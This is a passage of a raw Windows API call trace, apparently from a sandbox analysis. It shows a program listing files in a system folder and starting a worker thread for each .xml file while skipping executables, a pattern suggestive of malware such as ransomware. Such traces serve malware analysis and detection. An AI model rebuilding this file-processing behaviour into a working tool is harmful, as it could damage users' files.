	[0129.395] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1
	[0129.396] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1
	[0129.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0129.397] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.397] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1
	[0129.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0129.399] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.399] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1
	[0129.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0129.402] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.402] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1
	[0129.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0129.405] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.406] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1
	[0129.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0129.408] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.408] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1
	[0129.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0129.410] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.410] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1
	[0129.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0129.412] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.412] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1
	[0129.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0129.413] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.414] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1
	[0129.414] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1
	[0129.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0129.416] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.416] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1
	[0129.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0129.419] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.419] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1
	[0129.419] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0129.421] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.421] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1
	[0129.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0129.423] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.424] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1
	[0129.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0129.425] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.426] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1
	[0129.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0129.618] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.619] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1
	[0129.619] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1
	[0129.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0129.622] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.623] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1
	[0129.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0129.626] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.626] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1
	[0129.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0129.629] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.629] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1
	[0129.629] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1
	[0129.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0129.633] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.634] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1
	[0129.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0129.636] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.637] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1
	[0129.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0129.639] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.640] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1
	[0129.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0129.642] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.643] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1
	[0129.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0129.646] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.647] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1
	[0129.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0129.652] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.652] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1
	[0129.652] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0129.859] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.860] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
